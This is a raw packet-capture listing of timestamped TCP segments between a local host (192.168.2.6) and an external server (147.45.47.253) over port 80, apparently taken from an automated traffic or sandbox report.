Aug 27, 2024 20:12:06.149719000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149719954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149719954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149730921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149739027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149741888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149753094 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149780035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149800062 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149801970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149812937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149823904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149837971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149842024 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149863005 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149887085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149996042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150007010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150022984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150029898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150044918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.150048018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150058985 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.150059938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150085926 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.150103092 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.150132895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150144100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150183916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.150295973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150306940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150319099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150329113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150337934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.150348902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150367975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150372982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150378942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.150381088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.150393009 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.150413990 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.151230097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.151249886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.151274920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.151285887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.151290894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.151299953 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.151303053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.151314020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.151335955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.151388884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.151400089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.151434898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.231718063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.231730938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.231745005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.231837034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.231862068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.231864929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.231880903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.231897116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.231909037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.231913090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.231935978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.231959105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232019901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232029915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232042074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232054949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232058048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232069969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232075930 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232105017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232201099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232249022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232302904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232347965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232512951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232522964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232542038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232547045 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232552052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232563972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232563972 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232583046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232585907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232601881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232620955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232637882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232705116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232714891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232727051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232744932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232767105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232834101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232876062 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232880116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232891083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232901096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232920885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232939005 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.232974052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.232985020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233012915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233036995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233181000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233191967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233202934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233231068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233247042 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233347893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233361006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233374119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233390093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233407974 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233475924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233514071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233516932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233529091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233555079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233562946 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233673096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233685017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233695030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233705044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233719110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233730078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233741045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233745098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233766079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233922958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233933926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233943939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233958960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233967066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233973980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233983040 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.233983994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.233995914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234021902 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234024048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234039068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234065056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234143972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234155893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234165907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234181881 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234209061 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234232903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234242916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234253883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234282970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234282970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234448910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234483004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234488964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234489918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234532118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234586000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234620094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234628916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234632015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234642982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234658957 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234677076 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234754086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234765053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234776974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234797955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234818935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234885931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234930992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.234946966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234958887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234970093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.234992027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.235017061 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236296892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236309052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236320972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236351013 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236373901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236448050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236464977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236475945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236493111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236505032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236576080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236576080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236576080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236576080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236757040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236774921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236792088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236804008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236814976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236819983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236826897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236834049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236839056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.236850023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.236881971 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237057924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237070084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237081051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237092972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237098932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237102985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237121105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237129927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237135887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237138033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237148046 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237179041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237365007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237376928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237400055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237409115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237411976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237422943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237432957 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237452984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237474918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237493992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237504959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237515926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237526894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237530947 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237539053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237550020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237550974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237561941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237577915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237585068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237595081 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237617016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237620115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237628937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237649918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237673998 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237709045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237720013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237730980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237741947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.237742901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237766027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.237791061 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.318474054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318499088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318511963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318567991 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.318598986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.318620920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318631887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318643093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318665028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.318667889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318680048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318681955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.318715096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.318845034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318886995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318890095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.318898916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.318926096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.318944931 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.319314957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319328070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319338083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319351912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319370031 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.319396973 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.319789886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319802999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319817066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319848061 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.319859028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.319936037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319947958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319962978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319972992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319974899 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.319986105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.319992065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320004940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320012093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320029974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320039988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320041895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320055962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320061922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320069075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320096016 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320115089 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320281982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320293903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320305109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320316076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320324898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320329905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320348024 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320372105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320429087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320468903 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320533037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320544958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320554972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320566893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320576906 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320580006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320590973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320600986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320602894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320615053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320621014 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320636988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320655107 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320775032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320785999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320811987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320827961 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320910931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320915937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320918083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320929050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320941925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320952892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320955992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.320965052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.320987940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321021080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321208000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321219921 CEST	80	49710	147.45.47.253	192.168.2.6
